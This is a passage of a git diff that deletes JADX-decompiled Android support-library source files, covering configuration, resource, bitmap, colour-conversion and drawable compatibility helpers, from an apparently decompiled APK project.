from: /home/trevor/apk_decompile/classes.dex */ - private static class GingerbreadImpl implements ConfigurationHelperImpl { - GingerbreadImpl() { - } - - @Override // android.support.v4.content.res.ConfigurationHelper.ConfigurationHelperImpl - public int getScreenHeightDp(Resources resources) { - return ConfigurationHelperGingerbread.getScreenHeightDp(resources); - } - - @Override // android.support.v4.content.res.ConfigurationHelper.ConfigurationHelperImpl - public int getScreenWidthDp(Resources resources) { - return ConfigurationHelperGingerbread.getScreenWidthDp(resources); - } - - @Override // android.support.v4.content.res.ConfigurationHelper.ConfigurationHelperImpl - public int getSmallestScreenWidthDp(Resources resources) { - return ConfigurationHelperGingerbread.getSmallestScreenWidthDp(resources); - } - - @Override // android.support.v4.content.res.ConfigurationHelper.ConfigurationHelperImpl - public int getDensityDpi(Resources resources) { - return ConfigurationHelperGingerbread.getDensityDpi(resources); - } - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - private static class HoneycombMr2Impl extends GingerbreadImpl { - HoneycombMr2Impl() { - } - - @Override // android.support.v4.content.res.ConfigurationHelper.GingerbreadImpl, android.support.v4.content.res.ConfigurationHelper.ConfigurationHelperImpl - public int getScreenHeightDp(Resources resources) { - return ConfigurationHelperHoneycombMr2.getScreenHeightDp(resources); - } - - @Override // android.support.v4.content.res.ConfigurationHelper.GingerbreadImpl, android.support.v4.content.res.ConfigurationHelper.ConfigurationHelperImpl - public int getScreenWidthDp(Resources resources) { - return ConfigurationHelperHoneycombMr2.getScreenWidthDp(resources); - } - - @Override // android.support.v4.content.res.ConfigurationHelper.GingerbreadImpl, android.support.v4.content.res.ConfigurationHelper.ConfigurationHelperImpl - public int getSmallestScreenWidthDp(Resources resources) { - return ConfigurationHelperHoneycombMr2.getSmallestScreenWidthDp(resources); - } - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - private static class JellybeanMr1Impl extends HoneycombMr2Impl { - JellybeanMr1Impl() { - } - - @Override // android.support.v4.content.res.ConfigurationHelper.GingerbreadImpl, android.support.v4.content.res.ConfigurationHelper.ConfigurationHelperImpl - public int getDensityDpi(Resources resources) { - return ConfigurationHelperJellybeanMr1.getDensityDpi(resources); - } - } - - public static int getScreenHeightDp(Resources resources) { - return IMPL.getScreenHeightDp(resources); - } - - public static int getScreenWidthDp(Resources resources) { - return IMPL.getScreenWidthDp(resources); - } - - public static int getSmallestScreenWidthDp(Resources resources) { - return IMPL.getSmallestScreenWidthDp(resources); - } - - public static int getDensityDpi(Resources resources) { - return IMPL.getDensityDpi(resources); - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/content/res/ConfigurationHelperGingerbread.java b/apk_3230/decompiled_source/sources/android/support/v4/content/res/ConfigurationHelperGingerbread.java deleted file mode 100644 index 8b234f1..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/content/res/ConfigurationHelperGingerbread.java +++ /dev/null @@ -1,31 +0,0 @@ -package android.support.v4.content.res; - -import android.content.res.Resources; -import android.util.DisplayMetrics; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -class ConfigurationHelperGingerbread { - ConfigurationHelperGingerbread() { - } - - /* JADX INFO: Access modifiers changed from: package-private */ - public static int getScreenHeightDp(Resources resources) { - DisplayMetrics displayMetrics = resources.getDisplayMetrics(); - return (int) (displayMetrics.heightPixels / displayMetrics.density); - } - - /* JADX INFO: Access modifiers changed from: package-private */ - public static int getScreenWidthDp(Resources resources) { - DisplayMetrics displayMetrics = resources.getDisplayMetrics(); - return (int) (displayMetrics.widthPixels / displayMetrics.density); - } - - /* JADX INFO: Access modifiers changed from: package-private */ - public static int getSmallestScreenWidthDp(Resources resources) { - return Math.min(getScreenWidthDp(resources), getScreenHeightDp(resources)); - } - - /* JADX INFO: Access modifiers changed from: package-private */ - public static int getDensityDpi(Resources resources) { - return resources.getDisplayMetrics().densityDpi; - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/content/res/ConfigurationHelperHoneycombMr2.java b/apk_3230/decompiled_source/sources/android/support/v4/content/res/ConfigurationHelperHoneycombMr2.java deleted file mode 100644 index b0c6874..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/content/res/ConfigurationHelperHoneycombMr2.java +++ /dev/null @@ -1,23 +0,0 @@ -package android.support.v4.content.res; - -import android.content.res.Resources; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -class ConfigurationHelperHoneycombMr2 { - ConfigurationHelperHoneycombMr2() { - } - - /* JADX INFO: Access modifiers changed from: package-private */ - public static int getScreenHeightDp(Resources resources) { - return resources.getConfiguration().screenHeightDp; - } - - /* JADX INFO: Access modifiers changed from: package-private */ - public static int getScreenWidthDp(Resources resources) { - return resources.getConfiguration().screenWidthDp; - } - - /* JADX INFO: Access modifiers changed from: package-private */ - public static int getSmallestScreenWidthDp(Resources resources) { - return resources.getConfiguration().smallestScreenWidthDp; - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/content/res/ConfigurationHelperJellybeanMr1.java b/apk_3230/decompiled_source/sources/android/support/v4/content/res/ConfigurationHelperJellybeanMr1.java deleted file mode 100644 index 346211e..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/content/res/ConfigurationHelperJellybeanMr1.java +++ /dev/null @@ -1,13 +0,0 @@ -package android.support.v4.content.res; - -import android.content.res.Resources; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -class ConfigurationHelperJellybeanMr1 { - ConfigurationHelperJellybeanMr1() { - } - - /* JADX INFO: Access modifiers changed from: package-private */ - public static int getDensityDpi(Resources resources) { - return resources.getConfiguration().densityDpi; - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/content/res/ResourcesCompat.java b/apk_3230/decompiled_source/sources/android/support/v4/content/res/ResourcesCompat.java deleted file mode 100644 index d66e2a3..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/content/res/ResourcesCompat.java +++ /dev/null @@ -1,26 +0,0 @@ -package android.support.v4.content.res; - -import android.content.res.ColorStateList; -import android.content.res.Resources; -import android.graphics.drawable.Drawable; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public final class ResourcesCompat { - public static Drawable getDrawable(Resources resources, int i, Resources.Theme theme) throws Resources.NotFoundException { - return ResourcesCompatApi21.getDrawable(resources, i, theme); - } - - public static Drawable getDrawableForDensity(Resources resources, int i, int i2, Resources.Theme theme) throws Resources.NotFoundException { - return ResourcesCompatApi21.getDrawableForDensity(resources, i, i2, theme); - } - - public static int getColor(Resources resources, int i, Resources.Theme theme) throws Resources.NotFoundException { - return ResourcesCompatApi23.getColor(resources, i, theme); - } - - public static ColorStateList getColorStateList(Resources resources, int i, Resources.Theme theme) throws Resources.NotFoundException { - return ResourcesCompatApi23.getColorStateList(resources, i, theme); - } - - private ResourcesCompat() { - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/content/res/ResourcesCompatApi21.java b/apk_3230/decompiled_source/sources/android/support/v4/content/res/ResourcesCompatApi21.java deleted file mode 100644 index b3ced10..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/content/res/ResourcesCompatApi21.java +++ /dev/null @@ -1,17 +0,0 @@ -package android.support.v4.content.res; - -import android.content.res.Resources; -import android.graphics.drawable.Drawable; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -class ResourcesCompatApi21 { - ResourcesCompatApi21() { - } - - public static Drawable getDrawable(Resources resources, int i, Resources.Theme theme) throws Resources.NotFoundException { - return resources.getDrawable(i, theme); - } - - public static Drawable getDrawableForDensity(Resources resources, int i, int i2, Resources.Theme theme) throws Resources.NotFoundException { - return resources.getDrawableForDensity(i, i2, theme); - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/content/res/ResourcesCompatApi23.java b/apk_3230/decompiled_source/sources/android/support/v4/content/res/ResourcesCompatApi23.java deleted file mode 100644 index fdd9f85..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/content/res/ResourcesCompatApi23.java +++ /dev/null @@ -1,17 +0,0 @@ -package android.support.v4.content.res; - -import android.content.res.ColorStateList; -import android.content.res.Resources; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -class ResourcesCompatApi23 { - ResourcesCompatApi23() { - } - - public static int getColor(Resources resources, int i, Resources.Theme theme) throws Resources.NotFoundException { - return resources.getColor(i, theme); - } - - public static ColorStateList getColorStateList(Resources resources, int i, Resources.Theme theme) throws Resources.NotFoundException { - return resources.getColorStateList(i, theme); - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/content/res/ResourcesCompatIcsMr1.java b/apk_3230/decompiled_source/sources/android/support/v4/content/res/ResourcesCompatIcsMr1.java deleted file mode 100644 index 795fa6b..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/content/res/ResourcesCompatIcsMr1.java +++ /dev/null @@ -1,13 +0,0 @@ -package android.support.v4.content.res; - -import android.content.res.Resources; -import android.graphics.drawable.Drawable; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -class ResourcesCompatIcsMr1 { - ResourcesCompatIcsMr1() { - } - - public static Drawable getDrawableForDensity(Resources resources, int i, int i2) throws Resources.NotFoundException { - return resources.getDrawableForDensity(i, i2); - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/content/res/TypedArrayUtils.java b/apk_3230/decompiled_source/sources/android/support/v4/content/res/TypedArrayUtils.java deleted file mode 100644 index 27264e4..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/content/res/TypedArrayUtils.java +++ /dev/null @@ -1,41 +0,0 @@ -package android.support.v4.content.res; - -import android.content.Context; -import android.content.res.TypedArray; -import android.graphics.drawable.Drawable; -import android.util.TypedValue; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public class TypedArrayUtils { - public static boolean getBoolean(TypedArray typedArray, int i, int i2, boolean z) { - return typedArray.getBoolean(i, typedArray.getBoolean(i2, z)); - } - - public static Drawable getDrawable(TypedArray typedArray, int i, int i2) { - Drawable drawable = typedArray.getDrawable(i); - return drawable == null ? typedArray.getDrawable(i2) : drawable; - } - - public static int getInt(TypedArray typedArray, int i, int i2, int i3) { - return typedArray.getInt(i, typedArray.getInt(i2, i3)); - } - - public static int getResourceId(TypedArray typedArray, int i, int i2, int i3) { - return typedArray.getResourceId(i, typedArray.getResourceId(i2, i3)); - } - - public static String getString(TypedArray typedArray, int i, int i2) { - String string = typedArray.getString(i); - return string == null ? typedArray.getString(i2) : string; - } - - public static CharSequence[] getTextArray(TypedArray typedArray, int i, int i2) { - CharSequence[] textArray = typedArray.getTextArray(i); - return textArray == null ? typedArray.getTextArray(i2) : textArray; - } - - public static int getAttr(Context context, int i, int i2) { - TypedValue typedValue = new TypedValue(); - context.getTheme().resolveAttribute(i, typedValue, true); - return typedValue.resourceId != 0 ? i : i2; - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/database/DatabaseUtilsCompat.java b/apk_3230/decompiled_source/sources/android/support/v4/database/DatabaseUtilsCompat.java deleted file mode 100644 index 7ad0b74..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/database/DatabaseUtilsCompat.java +++ /dev/null @@ -1,22 +0,0 @@ -package android.support.v4.database; - -import android.text.TextUtils; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public final class DatabaseUtilsCompat { - private DatabaseUtilsCompat() { - } - - public static String concatenateWhere(String str, String str2) { - return TextUtils.isEmpty(str) ? str2 : TextUtils.isEmpty(str2) ? str : "(" + str + ") AND (" + str2 + ")"; - } - - public static String[] appendSelectionArgs(String[] strArr, String[] strArr2) { - if (strArr == null || strArr.length == 0) { - return strArr2; - } - String[] strArr3 = new String[strArr.length + strArr2.length]; - System.arraycopy(strArr, 0, strArr3, 0, strArr.length); - System.arraycopy(strArr2, 0, strArr3, strArr.length, strArr2.length); - return strArr3; - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/graphics/BitmapCompat.java b/apk_3230/decompiled_source/sources/android/support/v4/graphics/BitmapCompat.java deleted file mode 100644 index 3e689e7..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/graphics/BitmapCompat.java +++ /dev/null @@ -1,89 +0,0 @@ -package android.support.v4.graphics; - -import android.graphics.Bitmap; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public final class BitmapCompat { - static final BitmapImpl IMPL = new KitKatBitmapCompatImpl(); - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - interface BitmapImpl { - int getAllocationByteCount(Bitmap bitmap); - - boolean hasMipMap(Bitmap bitmap); - - void setHasMipMap(Bitmap bitmap, boolean z); - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - static class BaseBitmapImpl implements BitmapImpl { - @Override // android.support.v4.graphics.BitmapCompat.BitmapImpl - public boolean hasMipMap(Bitmap bitmap) { - return false; - } - - @Override // android.support.v4.graphics.BitmapCompat.BitmapImpl - public void setHasMipMap(Bitmap bitmap, boolean z) { - } - - BaseBitmapImpl() { - } - - @Override // android.support.v4.graphics.BitmapCompat.BitmapImpl - public int getAllocationByteCount(Bitmap bitmap) { - return bitmap.getRowBytes() * bitmap.getHeight(); - } - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - static class HcMr1BitmapCompatImpl extends BaseBitmapImpl { - HcMr1BitmapCompatImpl() { - } - - @Override // android.support.v4.graphics.BitmapCompat.BaseBitmapImpl, android.support.v4.graphics.BitmapCompat.BitmapImpl - public int getAllocationByteCount(Bitmap bitmap) { - return BitmapCompatHoneycombMr1.getAllocationByteCount(bitmap); - } - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - static class JbMr2BitmapCompatImpl extends HcMr1BitmapCompatImpl { - JbMr2BitmapCompatImpl() { - } - - @Override // android.support.v4.graphics.BitmapCompat.BaseBitmapImpl, android.support.v4.graphics.BitmapCompat.BitmapImpl - public boolean hasMipMap(Bitmap bitmap) { - return BitmapCompatJellybeanMR2.hasMipMap(bitmap); - } - - @Override // android.support.v4.graphics.BitmapCompat.BaseBitmapImpl, android.support.v4.graphics.BitmapCompat.BitmapImpl - public void setHasMipMap(Bitmap bitmap, boolean z) { - BitmapCompatJellybeanMR2.setHasMipMap(bitmap, z); - } - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - static class KitKatBitmapCompatImpl extends JbMr2BitmapCompatImpl { - KitKatBitmapCompatImpl() { - } - - @Override // android.support.v4.graphics.BitmapCompat.HcMr1BitmapCompatImpl, android.support.v4.graphics.BitmapCompat.BaseBitmapImpl, android.support.v4.graphics.BitmapCompat.BitmapImpl - public int getAllocationByteCount(Bitmap bitmap) { - return BitmapCompatKitKat.getAllocationByteCount(bitmap); - } - } - - public static boolean hasMipMap(Bitmap bitmap) { - return IMPL.hasMipMap(bitmap); - } - - public static void setHasMipMap(Bitmap bitmap, boolean z) { - IMPL.setHasMipMap(bitmap, z); - } - - public static int getAllocationByteCount(Bitmap bitmap) { - return IMPL.getAllocationByteCount(bitmap); - } - - private BitmapCompat() { - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/graphics/BitmapCompatHoneycombMr1.java b/apk_3230/decompiled_source/sources/android/support/v4/graphics/BitmapCompatHoneycombMr1.java deleted file mode 100644 index 4b6429d..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/graphics/BitmapCompatHoneycombMr1.java +++ /dev/null @@ -1,13 +0,0 @@ -package android.support.v4.graphics; - -import android.graphics.Bitmap; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -class BitmapCompatHoneycombMr1 { - BitmapCompatHoneycombMr1() { - } - - /* JADX INFO: Access modifiers changed from: package-private */ - public static int getAllocationByteCount(Bitmap bitmap) { - return bitmap.getByteCount(); - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/graphics/BitmapCompatJellybeanMR2.java b/apk_3230/decompiled_source/sources/android/support/v4/graphics/BitmapCompatJellybeanMR2.java deleted file mode 100644 index f3f5d71..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/graphics/BitmapCompatJellybeanMR2.java +++ /dev/null @@ -1,16 +0,0 @@ -package android.support.v4.graphics; - -import android.graphics.Bitmap; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -class BitmapCompatJellybeanMR2 { - BitmapCompatJellybeanMR2() { - } - - public static boolean hasMipMap(Bitmap bitmap) { - return bitmap.hasMipMap(); - } - - public static void setHasMipMap(Bitmap bitmap, boolean z) { - bitmap.setHasMipMap(z); - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/graphics/BitmapCompatKitKat.java b/apk_3230/decompiled_source/sources/android/support/v4/graphics/BitmapCompatKitKat.java deleted file mode 100644 index 9a933fb..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/graphics/BitmapCompatKitKat.java +++ /dev/null @@ -1,13 +0,0 @@ -package android.support.v4.graphics; - -import android.graphics.Bitmap; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -class BitmapCompatKitKat { - BitmapCompatKitKat() { - } - - /* JADX INFO: Access modifiers changed from: package-private */ - public static int getAllocationByteCount(Bitmap bitmap) { - return bitmap.getAllocationByteCount(); - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/graphics/ColorUtils.java b/apk_3230/decompiled_source/sources/android/support/v4/graphics/ColorUtils.java deleted file mode 100644 index 75fcb8a..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/graphics/ColorUtils.java +++ /dev/null @@ -1,297 +0,0 @@ -package android.support.v4.graphics; - -import android.graphics.Color; -import android.support.v4.view.ViewCompat; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public final class ColorUtils { - private static final int MIN_ALPHA_SEARCH_MAX_ITERATIONS = 10; - private static final int MIN_ALPHA_SEARCH_PRECISION = 1; - private static final ThreadLocal TEMP_ARRAY = new ThreadLocal<>(); - private static final double XYZ_EPSILON = 0.008856d; - private static final double XYZ_KAPPA = 903.3d; - private static final double XYZ_WHITE_REFERENCE_X = 95.047d; - private static final double XYZ_WHITE_REFERENCE_Y = 100.0d; - private static final double XYZ_WHITE_REFERENCE_Z = 108.883d; - - private static float constrain(float f, float f2, float f3) { - return f < f2 ? f2 : f > f3 ? f3 : f; - } - - private static int constrain(int i, int i2, int i3) { - return i < i2 ? i2 : i > i3 ? i3 : i; - } - - private ColorUtils() { - } - - public static int compositeColors(int i, int i2) { - int alpha = Color.alpha(i2); - int alpha2 = Color.alpha(i); - int compositeAlpha = compositeAlpha(alpha2, alpha); - return Color.argb(compositeAlpha, compositeComponent(Color.red(i), alpha2, Color.red(i2), alpha, compositeAlpha), compositeComponent(Color.green(i), alpha2, Color.green(i2), alpha, compositeAlpha), compositeComponent(Color.blue(i), alpha2, Color.blue(i2), alpha, compositeAlpha)); - } - - private static int compositeAlpha(int i, int i2) { - return 255 - (((255 - i2) * (255 - i)) / 255); - } - - private static int compositeComponent(int i, int i2, int i3, int i4, int i5) { - if (i5 == 0) { - return 0; - } - return (((i * 255) * i2) + ((i3 * i4) * (255 - i2))) / (i5 * 255); - } - - public static double calculateLuminance(int i) { - double[] tempDouble3Array = getTempDouble3Array(); - colorToXYZ(i, tempDouble3Array); - return tempDouble3Array[1] / XYZ_WHITE_REFERENCE_Y; - } - - public static double calculateContrast(int i, int i2) { - if (Color.alpha(i2) != 255) { - throw new IllegalArgumentException("background can not be translucent: #" + Integer.toHexString(i2)); - } - if (Color.alpha(i) < 255) { - i = compositeColors(i, i2); - } - double calculateLuminance = calculateLuminance(i) + 0.05d; - double calculateLuminance2 = calculateLuminance(i2) + 0.05d; - return Math.max(calculateLuminance, calculateLuminance2) / Math.min(calculateLuminance, calculateLuminance2); - } - - public static int calculateMinimumAlpha(int i, int i2, float f) { - int i3 = 255; - if (Color.alpha(i2) != 255) { - throw new IllegalArgumentException("background can not be translucent: #" + Integer.toHexString(i2)); - } - double d = f; - if (calculateContrast(setAlphaComponent(i, 255), i2) < d) { - return -1; - } - int i4 = 0; - for (int i5 = 0; i5 <= 10 && i3 - i4 > 1; i5++) { - int i6 = (i4 + i3) / 2; - if (calculateContrast(setAlphaComponent(i, i6), i2) < d) { - i4 = i6; - } else { - i3 = i6; - } - } - return i3; - } - - public static void RGBToHSL(int i, int i2, int i3, float[] fArr) { - float f; - float abs; - float f2 = i / 255.0f; - float f3 = i2 / 255.0f; - float f4 = i3 / 255.0f; - float max = Math.max(f2, Math.max(f3, f4)); - float min = Math.min(f2, Math.min(f3, f4)); - float f5 = max - min; - float f6 = (max + min) / 2.0f; - if (max == min) { - f = 0.0f; - abs = 0.0f; - } else { - f = max == f2 ? ((f3 - f4) / f5) % 6.0f : max == f3 ? ((f4 - f2) / f5) + 2.0f : 4.0f + ((f2 - f3) / f5); - abs = f5 / (1.0f - Math.abs((2.0f * f6) - 1.0f)); - } - float f7 = (f * 60.0f) % 360.0f; - if (f7 < 0.0f) { - f7 += 360.0f; - } - fArr[0] = constrain(f7, 0.0f, 360.0f); - fArr[1] = constrain(abs, 0.0f, 1.0f); - fArr[2] = constrain(f6, 0.0f, 1.0f); - } - - public static void colorToHSL(int i, float[] fArr) { - RGBToHSL(Color.red(i), Color.green(i), Color.blue(i), fArr); - } - - public static int HSLToColor(float[] fArr) { - int round; - int round2; - int round3; - float f = fArr[0]; - float f2 = fArr[1]; - float f3 = fArr[2]; - float abs = (1.0f - Math.abs((f3 * 2.0f) - 1.0f)) * f2; - float f4 = f3 - (0.5f * abs); - float abs2 = (1.0f - Math.abs(((f / 60.0f) % 2.0f) - 1.0f)) * abs; - switch (((int) f) / 60) { - case 0: - round = Math.round((abs + f4) * 255.0f); - round2 = Math.round((abs2 + f4) * 255.0f); - round3 = Math.round(f4 * 255.0f); - break; - case 1: - round = Math.round((abs2 + f4) * 255.0f); - round2 = Math.round((abs + f4) * 255.0f); - round3 = Math.round(f4 * 255.0f); - break; - case 2: - round = Math.round(f4 * 255.0f); - round2 = Math.round((abs + f4) * 255.0f); - round3 = Math.round((abs2 + f4) * 255.0f); - break; - case 3: - round = Math.round(f4 * 255.0f); - round2 = Math.round((abs2 + f4) * 255.0f); - round3 = Math.round((abs + f4) * 255.0f); - break; - case 4: - round = Math.round((abs2 + f4) * 255.0f); - round2 = Math.round(f4 * 255.0f); - round3 = Math.round((abs + f4) * 255.0f); - break; - case 5: - case 6: - round = Math.round((abs + f4) * 255.0f); - round2 = Math.round(f4 * 255.0f); - round3 = Math.round((abs2 + f4) * 255.0f); - break; - default: - round3 = 0; - round = 0; - round2 = 0; - break; - } - return Color.rgb(constrain(round, 0, 255), constrain(round2, 0, 255), constrain(round3, 0, 255)); - } - - public static int setAlphaComponent(int i, int i2) { - if (i2 < 0 || i2 > 255) { - throw new IllegalArgumentException("alpha must be between 0 and 255."); - } - return (i & ViewCompat.MEASURED_SIZE_MASK) | (i2 << 24); - } - - public static void colorToLAB(int i, double[] dArr) { - RGBToLAB(Color.red(i), Color.green(i), Color.blue(i), dArr); - } - - public static void RGBToLAB(int i, int i2, int i3, double[] dArr) { - RGBToXYZ(i, i2, i3, dArr); - XYZToLAB(dArr[0], dArr[1], dArr[2], dArr); - } - - public static void colorToXYZ(int i, double[] dArr) { - RGBToXYZ(Color.red(i), Color.green(i), Color.blue(i), dArr); - } - - public static void RGBToXYZ(int i, int i2, int i3, double[] dArr) { - if (dArr.length != 3) { - throw new IllegalArgumentException("outXyz must have a length of 3."); - } - double d = i / 255.0d; - double pow = d < 0.04045d ? d / 12.92d : Math.pow((d + 0.055d) / 1.055d, 2.4d); - double d2 = i2 / 255.0d; - double pow2 = d2 < 0.04045d ? d2 / 12.92d : Math.pow((d2 + 0.055d) / 1.055d, 2.4d); - double d3 = i3 / 255.0d; - double pow3 = d3 < 0.04045d ? d3 / 12.92d : Math.pow((d3 + 0.055d) / 1.055d, 2.4d); - dArr[0] = ((0.4124d * pow) + (0.3576d * pow2) + (0.1805d * pow3)) * XYZ_WHITE_REFERENCE_Y; - dArr[1] = ((0.2126d * pow) + (0.7152d * pow2) + (0.0722d * pow3)) * XYZ_WHITE_REFERENCE_Y; - dArr[2] = ((pow * 0.0193d) + (pow2 * 0.1192d) + (pow3 * 0.9505d)) * XYZ_WHITE_REFERENCE_Y; - } - - public static void XYZToLAB(double d, double d2, double d3, double[] dArr) { - if (dArr.length != 3) { - throw new IllegalArgumentException("outLab must have a length of 3."); - } - double pivotXyzComponent = pivotXyzComponent(d / XYZ_WHITE_REFERENCE_X); - double pivotXyzComponent2 = pivotXyzComponent(d2 / XYZ_WHITE_REFERENCE_Y); - double pivotXyzComponent3 = pivotXyzComponent(d3 / XYZ_WHITE_REFERENCE_Z); - dArr[0] = Math.max(0.0d, (116.0d * pivotXyzComponent2) - 16.0d); - dArr[1] = (pivotXyzComponent - pivotXyzComponent2) * 500.0d; - dArr[2] = (pivotXyzComponent2 - pivotXyzComponent3) * 200.0d; - } - - public static void LABToXYZ(double d, double d2, double d3, double[] dArr) { - double d4 = (d + 16.0d) / 116.0d; - double d5 = (d2 / 500.0d) + d4; - double d6 = d4 - (d3 / 200.0d); - double pow = Math.pow(d5, 3.0d); - if (pow <= XYZ_EPSILON) { - pow = ((d5 * 116.0d) - 16.0d) / XYZ_KAPPA; - } - double pow2 = d > 7.9996247999999985d ? Math.pow(d4, 3.0d) : d / XYZ_KAPPA; - double pow3 = Math.pow(d6, 3.0d); - if (pow3 <= XYZ_EPSILON) { - pow3 = ((d6 * 116.0d) - 16.0d) / XYZ_KAPPA; - } - dArr[0] = pow * XYZ_WHITE_REFERENCE_X; - dArr[1] = pow2 * XYZ_WHITE_REFERENCE_Y; - dArr[2] = pow3 * XYZ_WHITE_REFERENCE_Z; - } - - public static int XYZToColor(double d, double d2, double d3) { - double d4 = (((3.2406d * d) + ((-1.5372d) * d2)) + ((-0.4986d) * d3)) / XYZ_WHITE_REFERENCE_Y; - double d5 = ((((-0.9689d) * d) + (1.8758d * d2)) + (0.0415d * d3)) / XYZ_WHITE_REFERENCE_Y; - double d6 = (((0.0557d * d) + ((-0.204d) * d2)) + (1.057d * d3)) / XYZ_WHITE_REFERENCE_Y; - return Color.rgb(constrain((int) Math.round((d4 > 0.0031308d ? (Math.pow(d4, 0.4166666666666667d) * 1.055d) - 0.055d : d4 * 12.92d) * 255.0d), 0, 255), constrain((int) Math.round((d5 > 0.0031308d ? (Math.pow(d5, 0.4166666666666667d) * 1.055d) - 0.055d : d5 * 12.92d) * 255.0d), 0, 255), constrain((int) Math.round((d6 > 0.0031308d ? (Math.pow(d6, 0.4166666666666667d) * 1.055d) - 0.055d : d6 * 12.92d) * 255.0d), 0, 255)); - } - - public static int LABToColor(double d, double d2, double d3) { - double[] tempDouble3Array = getTempDouble3Array(); - LABToXYZ(d, d2, d3, tempDouble3Array); - return XYZToColor(tempDouble3Array[0], tempDouble3Array[1], tempDouble3Array[2]); - } - - public static double distanceEuclidean(double[] dArr, double[] dArr2) { - return Math.sqrt(Math.pow(dArr[0] - dArr2[0], 2.0d) + Math.pow(dArr[1] - dArr2[1], 2.0d) + Math.pow(dArr[2] - dArr2[2], 2.0d)); - } - - private static double pivotXyzComponent(double d) { - return d > XYZ_EPSILON ? Math.pow(d, 0.3333333333333333d) : ((d * XYZ_KAPPA) + 16.0d) / 116.0d; - } - - public static int blendARGB(int i, int i2, float f) { - float f2 = 1.0f - f; - return Color.argb((int) ((Color.alpha(i) * f2) + (Color.alpha(i2) * f)), (int) ((Color.red(i) * f2) + (Color.red(i2) * f)), (int) ((Color.green(i) * f2) + (Color.green(i2) * f)), (int) ((Color.blue(i) * f2) + (Color.blue(i2) * f))); - } - - public static void blendHSL(float[] fArr, float[] fArr2, float f, float[] fArr3) { - if (fArr3.length != 3) { - throw new IllegalArgumentException("result must have a length of 3."); - } - float f2 = 1.0f - f; - fArr3[0] = circularInterpolate(fArr[0], fArr2[0], f); - fArr3[1] = (fArr[1] * f2) + (fArr2[1] * f); - fArr3[2] = (fArr[2] * f2) + (fArr2[2] * f); - } - - public static void blendLAB(double[] dArr, double[] dArr2, double d, double[] dArr3) { - if (dArr3.length != 3) { - throw new IllegalArgumentException("outResult must have a length of 3."); - } - double d2 = 1.0d - d; - dArr3[0] = (dArr[0] * d2) + (dArr2[0] * d); - dArr3[1] = (dArr[1] * d2) + (dArr2[1] * d); - dArr3[2] = (dArr[2] * d2) + (dArr2[2] * d); - } - - static float circularInterpolate(float f, float f2, float f3) { - if (Math.abs(f2 - f) > 180.0f) { - if (f2 > f) { - f += 360.0f; - } else { - f2 += 360.0f; - } - } - return (f + ((f2 - f) * f3)) % 360.0f; - } - - private static double[] getTempDouble3Array() { - ThreadLocal threadLocal = TEMP_ARRAY; - double[] dArr = threadLocal.get(); - if (dArr == null) { - double[] dArr2 = new double[3]; - threadLocal.set(dArr2); - return dArr2; - } - return dArr; - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/graphics/drawable/DrawableCompat.java b/apk_3230/decompiled_source/sources/android/support/v4/graphics/drawable/DrawableCompat.java deleted file mode 100644 index 600d434..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/graphics/drawable/DrawableCompat.java +++ /dev/null @@ -1,363 +0,0 @@ -package android.support.v4.graphics.drawable; - -import android.content.res.ColorStateList; -import android.content.res.Resources; -import android.graphics.ColorFilter; -import android.graphics.PorterDuff; -import android.graphics.drawable.Drawable; -import android.util.AttributeSet; -import java.io.IOException; -import org.xmlpull.v1.XmlPullParser; -import org.xmlpull.v1.XmlPullParserException; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public final class DrawableCompat { - static final DrawableImpl IMPL = new MDrawableImpl(); - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - interface DrawableImpl { - void applyTheme(Drawable drawable, Resources.Theme theme); - - boolean canApplyTheme(Drawable drawable); - - void clearColorFilter(Drawable drawable); - - int getAlpha(Drawable drawable); - - ColorFilter 